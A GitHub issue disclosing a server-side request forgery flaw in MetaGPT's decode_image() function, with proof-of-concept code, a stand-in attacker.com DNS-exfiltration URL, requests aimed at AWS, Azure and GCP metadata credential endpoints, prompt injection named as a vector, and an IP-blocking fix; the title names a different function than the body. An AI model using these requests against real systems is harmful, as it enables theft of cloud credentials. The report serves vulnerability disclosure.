Non-Blind SSRF with File Write in download_model() #1934

Closed #1941

Labels inactive

YLChen-007 opened on Feb 4

Summary

The `decode_image()` function in MetaGPT fetches URLs without validation. An attacker who can influence the URL parameter (via LLM prompt injection or API response manipulation) can force the server to make requests to internal network resources or cloud metadata endpoints. This is a **Semi-Blind SSRF** because the response is filtered through `Image.open()`, limiting direct data exfiltration but still enabling network reconnaissance and DNS-based attacks.

SSRF Type: Semi-Blind

This is a **Semi-Blind SSRF** vulnerability:

Characteristic	Status	Explanation
Response Content Access	❌ Limited	`decode_image()` passes response through `Image.open()`, filtering non-image content
Error-based Inference	✅ Possible	Exception messages may reveal partial response data or connection status
Timing-based Inference	✅ Possible	Response time differences reveal port open/closed status
DNS Exfiltration	✅ Possible	Data can be exfiltrated via DNS queries (e.g., `http://$(data).attacker.com/`)

What attackers CAN do:

- Perform internal network reconnaissance (port scanning)

- Detect internal service availability via timing analysis
- Exfiltrate data via DNS queries
- Trigger actions on internal services (e.g., cache flush, webhooks)

What attackers CANNOT do (easily):

- Directly read arbitrary response content (filtered by `Image.open()`)
- Interactive exploitation of services requiring response parsing

Details

The vulnerability exists in `metagpt/utils/common.py` in the `decode_image()` function:

```python
# metagpt/utils/common.py - Lines 859-870
def decode_image(img_url_or_b64: str) -> Image:
    """decode image from url or base64 into PIL.Image"""
    if img_url_or_b64.startswith("http"):  # Weak validation - only checks prefix!
        # image http(s) url
        resp = requests.get(img_url_or_b64)  # SSRF - No IP/host validation!
        img = Image.open(BytesIO(resp.content))  # Response filtered here
    else:
        # image b64_json
        b64_data = re.sub("^", "", img_url_or_b64)
        img_data = BytesIO(base64.b64decode(b64_data))
        img = Image.open(img_data)
    return img
```

Note: There is a related but separate vulnerability in `download_model()` which is a **Non-Blind SSRF** (see separate report: `ISSUE-Github-REPORT-ssrf-download-model.md`).

Attack Vectors

1. **LLM Prompt Injection**: Attacker crafts input that causes LLM to generate malicious image URLs
2. **API Response Manipulation**: MITM on OpenAI API injects internal URLs in image generation responses

Why This Is Semi-Blind

- Response is filtered through `Image.open()` which rejects non-image content
- Attacker cannot directly read arbitrary HTTP responses
- However, timing/error analysis and DNS exfiltration are still possible

PoC

Step 1: Create SSRF detection server

```
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading

class SSRFHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[SSRF HIT] Path: {self.path}")
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b"SSRF_CONFIRMED")

server = HTTPServer(('127.0.0.1', 18292), SSRFHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
print("[*] SSRF detection server running on port 18292")
```

Step 2: Trigger SSRF via decode_image()

```
import requests
from io import BytesIO

def decode_image_vulnerable(img_url_or_b64: str):
    """Exact vulnerable pattern from common.py"""
    if img_url_or_b64.startswith("http"):
        resp = requests.get(img_url_or_b64)  # SSRF!
        return resp.content
    return None

# Attack internal service
result = decode_image_vulnerable("http://127.0.0.1:18292/internal/admin/secret")
print(f"Response: {result}")
# Server logs: [SSRF HIT] Path: /internal/admin/secret
```

Step 3: Cloud Metadata Exfiltration (if running on cloud)

```
# WARNING: Only test on systems you own!

# AWS
decode_image_vulnerable("http://169.254.169.254/latest/meta-data/iam/security-credentials/")

# Azure
decode_image_vulnerable("http://169.254.169.254/metadata/instance?api-version=2021-02-01")

# GCP
decode_image_vulnerable("http://169.254.169.254/computeMetadata/v1/")
```

Occurrences

Permalink	Description
https://github.com/geekan/MetaGPT/blob/main/metagpt/utils/common.py#L863	The `requests.get(ir` call in `decode_im` fetches arbitrary U validation
https://github.com/geekan/MetaGPT/blob/main/metagpt/utils/common.py#L861	The weak `starts` check that only va prefix
https://github.com/geekan/MetaGPT/blob/main/metagpt/provider/openai_api.py#L320	Caller of `decode_` passes URL from

Remediation

Option 1: URL Validation with IP Blocking

```
import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_IP_RANGES = [
    ipaddress.ip_network('127.0.0.0/8'),      # Localhost
    ipaddress.ip_network('10.0.0.0/8'),       # Private
    ipaddress.ip_network('172.16.0.0/12'),    # Private
    ipaddress.ip_network('192.168.0.0/16'),   # Private
    ipaddress.ip_network('169.254.0.0/16'),   # Link-local/Metadata
    ipaddress.ip_network('::1/128'),          # IPv6 localhost
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False

        hostname = parsed.hostname
        if not hostname:
            return False

        ip = socket.gethostbyname(hostname)
        ip_addr = ipaddress.ip_address(ip)

        for blocked in BLOCKED_IP_RANGES:
            if ip_addr in blocked:
                return False
```

```
            return True
        except Exception:
            return False

def decode_image(img_url_or_b64: str) -> Image:
    if img_url_or_b64.startswith("http"):
        if not is_safe_url(img_url_or_b64):
            raise ValueError(f"URL not allowed: {img_url_or_b64}")
        resp = requests.get(img_url_or_b64, timeout=10)
        # ...
```

paipeline added a commit that references this issue on Feb 11

`Fix: Prevent SSRF vulnerability in decode_image() function` ··· `6f441f2`

paipeline mentioned this on Feb 11

Security Fix: Prevent SSRF vulnerability in decode_image() function - Fixes #1934 #1941

github-actions bot on Mar 7 – with GitHub Actions

This issue has no activity in the past 30 days. Please comment on the issue if you have anything to add.

github-actions added **inactive** on Mar 7

github-actions bot 3 weeks ago – with GitHub Actions

This issue was closed due to 45 days of inactivity. If you feel this issue is still relevant, please reopen the issue to continue the discussion.

github-actions closed this as completed 3 weeks ago

Metadata

Assignees

No one assigned

Labels

inactive

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

Security Fix: Prevent SSRF vulnerability in decode_image() function - Fixes #1934

FoundationAgents/MetaGPT

Participants